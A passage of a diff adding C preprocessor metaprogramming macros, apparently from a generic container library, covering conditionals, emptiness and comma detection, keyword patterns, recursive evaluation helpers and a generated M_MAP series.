+   NOTE: true_action and false_action can recursively contain M_IF
+   but not 'condition'.
+ */
+#define M_IFI_0(true_c, ...)        __VA_ARGS__
+#define M_IFI_1(true_c, ...)        true_c
+#define M_IF(c)                     M_C(M_IFI_, M_BOOL(c))
+
+
+/* Return 1 if there is a comma inside the VA_ARGS, 0 otherwise.
+   NOTE: this is one of the lowest level check performed
+   (all other high level checks depend on it).
+*/
+#if defined(__clang__) && defined(_MSC_VER)
+// CLANG on windows has a non compliant preprocessor (but not the one for Linux / Mac). Workaround for it (with minor issue)
+#define M_COMMA_P(...)              M_RET_ARG76(__VA_ARGS__, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, useless)
+#define M_COMMA_P_WORKAROUND 1
+#else
+#define M_COMMA_P(...)              M_RETI_ARG76(__VA_ARGS__, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, useless)
+#endif
+
+
+/* Return 1 if the argument is empty (aka ''), 0 otherwise.
+   This is quite hard to detect properly.
+   Handle: EMPTY_P(), EMPTY_P(x), EMPTY_P(()) and EMPTY_P(,) and EMPTY_P(f) with #define f() 2,3 */
+#define M_EMPTYI_DETECT(...)        ,
+#define M_EMPTYI_P_C1(...)          M_COMMA_P(M_EMPTYI_DETECT __VA_ARGS__ () )
+#define M_EMPTYI_P_C2(...)          M_COMMA_P(M_EMPTYI_DETECT __VA_ARGS__)
+#define M_EMPTYI_P_C3(...)          M_COMMA_P(__VA_ARGS__ () )
+#define M_EMPTY_P(...)              M_AND(M_EMPTYI_P_C1(__VA_ARGS__), M_INV(M_OR3(M_EMPTYI_P_C2(__VA_ARGS__), M_COMMA_P(__VA_ARGS__),M_EMPTYI_P_C3(__VA_ARGS__))))
+
+/* Generate a comma later in the next evaluation pass. */
+#define M_DEFERRED_COMMA            ,
+
+/* M_IF macro for empty arguments:
+    M_IF_EMPTY(arguments)(action if empty, action if not empty) */
+#define M_IF_EMPTY(...)             M_IF(M_EMPTY_P(__VA_ARGS__))
+
+
+/* Concatenate the two preprocessing token.
+ * Handle the case where the second argument is empty, in which case
+ * it returns the first token without concatenation.
+ */
+#define M_C_EMPTY(a, b)             M_CI_EMPTY(a, b)
+#define M_CI_EMPTY(a, b)            M_IF_EMPTY(b)(M_CI_EMPTY_B, M_CI_EMPTY_CAT)(a, b)
+#define M_CI_EMPTY_B(a, b)          a
+#define M_CI_EMPTY_CAT(a, b)        a ## b
+
+#define M_C3_EMPTY(a, b, c)         M_C3I_EMPTY(a, b, c)
+#define M_C3I_EMPTY(a, b, c)        M_CI_EMPTY( M_CI_EMPTY(a, b), c)
+
+#define M_C5_EMPTY(a, b, c, d, e)   M_C5I_EMPTY(a, b, c, d, e)
+#define M_C5I_EMPTY(a, b, c, d, e)  M_CI_EMPTY( M_C3I_EMPTY(a, b, c), M_CI_EMPTY(d, e) )
+
+/* Return 1 if argument is "()" or "(x)"
+ * Test if () or (x) can be transformed into a comma (primary check for parenthesis),
+ * and that there is no (toplevel) comma (remove false positive)
+ * and that there is nothing beyond the parenthesis (remove false positive)
+ * A simple check could only contain M_PARENTHESISI_DETECT1, but there will be false positives.
+ */
+#define M_PARENTHESISI_DETECT1(...)  ,
+#define M_PARENTHESIS_P(...)                                                  \
+  M_AND3(M_COMMA_P(M_PARENTHESISI_DETECT1 __VA_ARGS__),                       \
+         M_INV(M_COMMA_P(__VA_ARGS__)),                                       \
+         M_EMPTY_P(M_EAT __VA_ARGS__))
+
+
+/* Return 1 if argument type or variable or function is the keyword.
+    - refFunc is the reference keyword.
+    It shall be either 'and', 'or', 'sum' (equivalent to 'add'), 'bool'
+    - testedFunc is the tested keyword.
+    It cannot start with a special character */
+#define M_KEYWORD_P(refFunc, testedFunc)                                      \
+  M_COMMA_P(M_C4(M_PATTERN_, refFunc, _, testedFunc))
+
+/* The different special patterns recognized by M_KEYWORD_P
+ * Each recognized keyword shall define a macro like this:
+ *        M_PATTERN_ ## keyword ## _ ## keyword
+ * And this macro shall expands to the comma separator.
+ */
+#define M_PATTERN_and_and ,
+#define M_PATTERN_or_or ,
+#define M_PATTERN_sum_sum ,
+#define M_PATTERN_sum_add ,
+#define M_PATTERN_add_add ,
+#define M_PATTERN_add_sum ,
+#define M_PATTERN_product_product ,
+#define M_PATTERN_product_mul ,
+#define M_PATTERN_bool_bool ,
+#define M_PATTERN_char_char ,
+#define M_PATTERN_short_short ,
+#define M_PATTERN_int_int ,
+#define M_PATTERN_long_long ,
+#define M_PATTERN_float_float ,
+#define M_PATTERN_double_double ,
+#define M_PATTERN_void_void ,
+#define M_PATTERN_type_type ,
+#define M_PATTERN_TYPE_TYPE ,
+#define M_PATTERN_SUBTYPE_SUBTYPE ,
+#define M_PATTERN_SUBTYPE_PTR_SUBTYPE_PTR ,
+#define M_PATTERN_IT_TYPE_IT_TYPE ,
+#define M_PATTERN_KEY_TYPE_KEY_TYPE ,
+#define M_PATTERN_VALUE_TYPE_VALUE_TYPE ,
+#define M_PATTERN_M_UNDERFLOW_M_UNDERFLOW ,
+#define M_PATTERN_M_OVERFLOW_M_OVERFLOW ,
+#define M_PATTERN_M_OVERFLOW_M_OVERFLOW ,
+#define M_PATTERN_SEQUENCE_SEQUENCE ,
+#define M_PATTERN_MAP_MAP ,
+#define M_PATTERN_KEYVAL_KEYVAL ,
+#define M_PATTERN_KEYVAL_PTR_KEYVAL_PTR ,
+#define M_PATTERN_priority_priority ,
+#define M_PATTERN_list_list ,
+#define M_PATTERN_LIST_LIST ,
+#define M_PATTERN_queue_queue ,
+#define M_PATTERN_QUEUE_QUEUE ,
+#define M_PATTERN_INIT_WITH_INIT_WITH ,
+#define M_PATTERN____ ,
+
+
+/* Extract the VA ARGS of a keyword function like.
+   Transform 'LIST( a, b, c)' into 'a, b, c' for keyword=LIST
+   It shall start with KEYWORD (M_KEYWORD_P shall return 1).
+*/
+#define M_KEYWORD_TO_VA_ARGS(keyword, list) M_C4(M_EAT_KEYWORD_, keyword, _, list)
+
+/* The different special patterns recognized by M_KEYWORD_TO_VA_ARGS
+ * Each recognized keyword shall define a macro function like this:
+ *        M_EAT_KEYWORD_ ## keyword ## _ ## keyword (...)
+ * And this macro shall expands to __VA_ARGS__
+ * CONSTRAINT: Theses keywords shall be a sub-list of the keywords supported by M_KEYWORD_P
+ */
+#define M_EAT_KEYWORD_MAP_MAP(...)          __VA_ARGS__
+#define M_EAT_KEYWORD_LIST_LIST(...)        __VA_ARGS__
+#define M_EAT_KEYWORD_SEQ_SEQ(...)          __VA_ARGS__
+#define M_EAT_KEYWORD_QUEUE_QUEUE(...)      __VA_ARGS__
+#define M_EAT_KEYWORD____(...)              __VA_ARGS__
+
+
+/* Necessary macros to handle recursion,
+   delaying the evaluation by one (or more) level of macro expansion.
+   The argument is a macro-function which has to be deferred */
+#define M_DELAY0()
+#define M_DELAY1(...)               __VA_ARGS__ M_DELAY0 ()
+#define M_DELAY2(...)               __VA_ARGS__ M_DELAY1 (M_DELAY0) ()
+#define M_DELAY3(...)               __VA_ARGS__ M_DELAY2 (M_DELAY0) ()
+#define M_DELAY4(...)               __VA_ARGS__ M_DELAY3 (M_DELAY0) ()
+#define M_DELAY5(...)               __VA_ARGS__ M_DELAY4 (M_DELAY0) ()
+#define M_DELAY6(...)               __VA_ARGS__ M_DELAY5 (M_DELAY0) ()
+#define M_DELAY7(...)               __VA_ARGS__ M_DELAY6 (M_DELAY0) ()
+#define M_DELAY8(...)               __VA_ARGS__ M_DELAY7 (M_DELAY0) ()
+#define M_DELAY9(...)               __VA_ARGS__ M_DELAY8 (M_DELAY0) ()
+
+/* Perform 3^5 evaluation,
+   forcing the pre-processor to expand the given macro a lot of times. 
+   NOTE: There can be only one EVAL macro per complete macro-evaluation pass.
+   As such the given macro cannot contain M_EVAL itself,
+   NOTE: Using recursion impacts compilation time performance.
+*/
+#define M_EVAL(...)                 M_EVAL1(M_EVAL1(M_EVAL1(__VA_ARGS__)))
+#define M_EVAL1(...)                M_EVAL2(M_EVAL2(M_EVAL2(__VA_ARGS__)))
+#define M_EVAL2(...)                M_EVAL3(M_EVAL3(M_EVAL3(__VA_ARGS__)))
+#define M_EVAL3(...)                M_EVAL4(M_EVAL4(M_EVAL4(__VA_ARGS__)))
+#define M_EVAL4(...)                M_EVAL0(M_EVAL0(M_EVAL0(__VA_ARGS__)))
+#define M_EVAL0(...)                __VA_ARGS__
+
+
+/* Apply Macro :
+ *  It delays the expansion of the macro function 'a' until the VA_ARGS itself is evaluated.
+ *  It is needed when the evaluation process changes the numbers of arguments.
+ * For example, when merging 2 arglists using "M_OPFLAT M_MERGE_ARGLIST"
+ */
+#define M_APPLY(a, ...)             a (__VA_ARGS__)
+
+
+/* MAP: apply the given macro to all arguments.
+   NOTE: Perform a first step evaluation so that the given VA_ARGS is fully evaluated
+   and expanded before further preprocessing. This helps if the argument given to M_MAP
+   perform a construction of the VA_ARGS as its argument.
+   NOTE: It is a non recursive version that is much faster than the recursive one.
+   Example:
+        M_MAP(f,a, b, c) ==> f(a) f(b) f(c)
+   Generated by:
+    for i in $(seq 1 52) ; do printf "#define M_MAPI_%d(f" $i ; for j in $(seq 1 $i) ; do printf ", _%d" $j ; done ; printf ") " ; for j in $(seq 1 $i) ; do printf "f(_%d) " $j ; done ; printf "\n"; done
+*/
+#define M_MAP(...)        M_MAP_0(__VA_ARGS__)
+#define M_MAP_0(f, ...)   M_C(M_MAP_, M_NARGS(__VA_ARGS__))(f, __VA_ARGS__)
+#define M_MAP_1(f, _1) f(_1) 
+#define M_MAP_2(f, _1, _2) f(_1) f(_2) 
+#define M_MAP_3(f, _1, _2, _3) f(_1) f(_2) f(_3) 
+#define M_MAP_4(f, _1, _2, _3, _4) f(_1) f(_2) f(_3) f(_4) 
+#define M_MAP_5(f, _1, _2, _3, _4, _5) f(_1) f(_2) f(_3) f(_4) f(_5) 
+#define M_MAP_6(f, _1, _2, _3, _4, _5, _6) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) 
+#define M_MAP_7(f, _1, _2, _3, _4, _5, _6, _7) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) 
+#define M_MAP_8(f, _1, _2, _3, _4, _5, _6, _7, _8) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) 
+#define M_MAP_9(f, _1, _2, _3, _4, _5, _6, _7, _8, _9) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) 
+#define M_MAP_10(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) 
+#define M_MAP_11(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) 
+#define M_MAP_12(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) 
+#define M_MAP_13(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) 
+#define M_MAP_14(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) 
+#define M_MAP_15(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) 
+#define M_MAP_16(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) 
+#define M_MAP_17(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) 
+#define M_MAP_18(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) 
+#define M_MAP_19(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) 
+#define M_MAP_20(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) 
+#define M_MAP_21(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) 
+#define M_MAP_22(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) 
+#define M_MAP_23(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) 
+#define M_MAP_24(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) 
+#define M_MAP_25(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) 
+#define M_MAP_26(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) 
+#define M_MAP_27(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) 
+#define M_MAP_28(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) 
+#define M_MAP_29(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) 
+#define M_MAP_30(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) 
+#define M_MAP_31(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) 
+#define M_MAP_32(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) 
+#define M_MAP_33(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) 
+#define M_MAP_34(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) 
+#define M_MAP_35(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) 
+#define M_MAP_36(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) f(_36) 
+#define M_MAP_37(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) f(_36) f(_37) 
+#define M_MAP_38(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) f(_36) f(_37) f(_38) 
+#define M_MAP_39(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) f(_36) f(_37) f(_38) f(_39) 
+#define M_MAP_40(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) f(_36) f(_37) f(_38) f(_39) f(_40) 
+#define M_MAP_41(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) f(_36) f(_37) f(_38) f(_39) f(_40) f(_41) 
+#define M_MAP_42(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) f(_36) f(_37) f(_38) f(_39) f(_40) f(_41) f(_42) 
+#define M_MAP_43(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) f(_36) f(_37) f(_38) f(_39) f(_40) f(_41) f(_42) f(_43) 
+#define M_MAP_44(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) f(_36) f(_37) f(_38) f(_39) f(_40) f(_41) f(_42) f(_43) f(_44) 
+#define M_MAP_45(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) f(_36) f(_37) f(_38) f(_39) f(_40) f(_41) f(_42) f(_43) f(_44) f(_45) 
+#define M_MAP_46(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) f(_36) f(_37) f(_38) f(_39) f(_40) f(_41) f(_42) f(_43) f(_44) f(_45) f(_46) 
+#define M_MAP_47(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) f(_36) f(_37) f(_38) f(_39) f(_40) f(_41) f(_42) f(_43) f(_44) f(_45) f(_46) f(_47) 
